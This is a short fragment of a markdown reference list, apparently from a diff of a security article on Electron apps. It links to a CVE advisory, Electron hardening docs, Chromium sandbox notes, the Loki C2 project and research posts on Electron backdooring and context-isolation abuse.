- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -550,7 +576,6 @@ Detection and mitigations
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)